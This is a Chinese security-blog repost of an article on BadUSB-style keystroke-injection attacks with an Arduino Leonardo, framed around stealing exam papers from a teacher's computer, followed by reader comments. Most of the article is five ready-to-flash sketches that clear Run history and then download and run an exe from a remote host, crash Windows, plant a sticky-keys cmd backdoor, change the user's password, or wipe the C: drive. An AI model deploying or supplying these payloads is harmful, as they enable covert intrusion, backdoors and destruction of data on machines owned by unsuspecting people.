CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

hid

2017年5月24日 744点热度 0人点赞 0条评论

hid

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

物理黑:关于HID的一些攻击姿势解析

mrzcpo2016-01-21共254640人围观 ,发现 16 个不明物体系统安全

本文原创作者:mrzcpo

本文内容带有一定的攻击性,仅供学习交流使用,严禁用于非法用途

图文无关

临近期末考试了,利用烧鹅配合一个简单的木马程序其实可以轻松的从老师的电脑里拿到考卷甚至答案,可惜太贵了,偶然间发现有人用Arduino Leonardo也可以实现类似的功能,而且价格低廉,于是就有了下文。

0×01 关于HID

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

0×02 Arduino Leonardo

笔者从网上买到一个小型的arduino leonardo自带外壳,简直就是用来攻击的神器啊。

Arduino Leonardo是基于ATmega32u4一个微控制器板。它有20个数字输入/输出引脚(其中7个可用于PWM输出、12个可用于模拟输入),一个16 MHz的晶体振荡器,一个Micro USB接口,一个DC接口,一个ICSP接口,一个复位按钮。它包含了支持微控制器所需的一切,你可以简单地通过把它连接到计算机的USB接口,或者使用AC-DC适配器,再或者用电池来驱动它。
Leonardo不同于之前所有的arduino控制器,他直接使用了ATmega32u4的USB通信功能,取消了USB转UART芯片。这使得Leonardo不仅可以作为一个虚拟的(CDC)串行/ COM端口,还可以作为鼠标或者键盘连接到计算机。它还有很多不同的地方,我们会在入门页面中介绍。

[简单的说就是可以像按键精灵玩耍,相当于一插上电脑就执行一个案件精灵的脚本一样。]

0×03 正文

笔者其实对硬件方面不太懂,其实就是个脚本小子。所以学习起来比较费劲。

对此研究也一番后,被输入法的问题困扰许久,研究许久也找到了一个猥琐的解决办法,那就是通过开大写小的方法来解决[具体请见代码]。

输入法问题:我们不能判断对方系统默认输入法是中文还是英文,但是我们所有的情况下都要输入英文怎么办呢?按Shift?如果对方已经是英文输入法按下shift就会又切回中文了,所以这不是一个好方法,但是我想到了一个猥琐的方法,大部分人不会默认把大写开着,所以这里用大写输入法,输出小写的字母。

那么需要Get到答案这时候其实只需要PowerShell下载代码配合一个生成好的简易的Ftp上传病毒即可。

附上代码:

1.PowerShellDownload‍(支持Win7/Win8,实现窗口最小化下载运行exe文件,这样都不会有小黑窗,感觉比较安全,通过大写的方式绕过输入法.)

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

2.BlueScreen(支持WinXP/Win7,通过大写的方式绕过输入法.)

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

3.后门种植(Win通用,替换Sethc.exe为cmd.exe,通过大写的方式绕过输入法.)

void setup() {//初始化
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&TAKEOWN /F %sYSTEMrOOT%\\SYSTEM32\\SETHC.EXE&ECHO Y|CACLS %sYSTEMrOOT%\\SYSTEM32\\SETHC.EXE /g %username%:f&COPY C:\\WINDOWS\\SYSTEM32\\CMD.EXE C:\\WINDOWS\\SYSTEM32\\SETHC.EXE /y");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

4.修改当前用户密码(Win通用,修改当前用户密码,通过大写的方式绕过输入法.可惜容易被拦截)

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD.EXE /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&NET USER %USERNAME% HACKED&EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

5.删除C盘所有文件(Win通用,可以删除C盘所有文件,通过大写的方式绕过输入法.)

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500);
  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&COPY C:\\WINDOWS\\SYSTEM32\\SHUTDOWN.EXE D:\\SHUTDOWN.EXE /y&DEL /S /F /Q C:\\*&D:\\SHUTDOWN.EXE -R -F -T 0")
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

提示(代码仅供学习交流使用,严禁用于非法用途):

针对XP的机器我们还可以利用Debug这个攻击来将exe可执行程序存放在代码中哦!

像这种小型的Arduino开发板也是可以加内存的哦,只要一个小型的HUB模块+一个U盘黑胶体即可,这样做出来也是可以集合到U盘外壳中的是不是很邪恶。

*原创作者:mrzcpo,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

mrzcpo

mrzcpo4 篇文章等级: 3级
|
|
  • 上一篇:IE漏洞攻防编年简史
  • 下一篇:如何使用Metabrik实现恶意软件分析的自动化

这些评论亮了

  • sdsadsad回复
    求 某宝的购买链接
    )9(亮了
  • echotxl(3级)我的密码泄露了,我在考虑要不要改密码。。。回复
    明明就是在淘宝上买的还好意思说自己搞得
    )8(亮了
  • anm回复
    求某宝地址
    )8(亮了
  • Test回复
    naive !
    )7(亮了
  • susftp(5级)中回复
    可以开下大写再开小写,这样更保险
    )7(亮了
发表评论

已有 16 条评论

  • 周火火 2016-01-21回复1楼

    购买地址呢 可以发下不

    亮了(6)
    • mrzcpo (3级)这家伙不懒 2016-01-21回复

      @ 周火火 X宝搜Badusb就有

      亮了(7)
  • anm 2016-01-21回复2楼

    求某宝地址

    亮了(8)
  • hello 2016-01-21回复3楼

    求购买地址

    亮了(5)
  • Finally (3级) 2016-01-21回复4楼

    微型 Arduino usb 开发板

    亮了(6)
  • Test 2016-01-21回复5楼

    naive !

    亮了(7)
  • fflking 2016-01-21回复6楼

    给力!请问楼主那个arduino如何加内存直接拷贝文件到内存吗,还有那个ftp上传的exe有连接吗

    亮了(7)
  • sdsadsad 2016-01-21回复7楼

    求 某宝的购买链接

    亮了(9)
  • echotxl (3级)我的密码泄露了,我在考虑要不要改密码。。。 2016-01-21回复8楼

    明明就是在淘宝上买的还好意思说自己搞得

    亮了(8)
    • mrzcpo (3级)这家伙不懒 2016-01-22回复

      @ echotxl  其实我在上面写了是买的ArduinoLeonardo自带外壳

      亮了(6)
  • XXXX 2016-01-22回复9楼

    想当年日穿整个校内网,除了没联网的我没办法,其他人的电脑都不是难事,唯独从来没想过去搞试卷。。。。。。。。。这就是节操啊

    亮了(7)
  • susftp (5级)中 2016-01-22回复10楼

    可以开下大写再开小写,这样更保险

    亮了(7)
  • 夜尽天明 (5级)千秋邈矣独留我,百战归来再读书 2016-01-27回复11楼

    楼主是通过Arduino开发环境直接写入程序的不

    亮了(4)
    • mrzcpo (3级)这家伙不懒 2016-01-27回复

      @ 夜尽天明  Arduino ide 1.5.5

      亮了(4)
  • 嘿嘿嘿 2016-01-29回复12楼

    下载exe 好像有个叫 K8飞刀的神器里面的Badusb脚本写得很吊,功能也很全,一份代码同时支持所有windows和Linux系统种马。文中的太low了 powershell只能支持win7以后的系统就不说了,很多终端机不是Xp就是Linux系统?Win7要配置太高,投入成本大,几乎没怎么见过?只是点歌戓简单业务操作之类的,你是老板你用什么系统。

    亮了(7)
  • 134679 (1级) 2016-02-20回复13楼

    支持 :razz: :razz:

    亮了(1)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

mrzcpo

mrzcpo

这家伙不懒

4 篇文章29 条评论

相关阅读

  • Arduino+Avr libc制作Badusb原理及示例讲解
  • 低成本安全硬件实战遇到的那些事
  • 极客DIY:使用Arduino制作一块开源手表
  • 极客DIY:利用Arduino 制作一个小机器人
  • 物理黑:关于HID的一些攻击姿势解析

特别推荐

关注我们 分享每日精选文章

不容错过

  • WAF产品经理眼中比较理想的WAF兜哥2017-01-22
  • 愤怒的白帽子:被Facebook拒绝支付赏金后,白帽子编写大规模攻击工具JohnChu2014-08-04
  • 走近科学:揭秘在线DDoS攻击平台(上)ArthurKiller2016-06-23
  • DedeCMS全版本通杀SQL注入漏洞利用代码及工具千秋丶千年2014-02-28

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月24日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me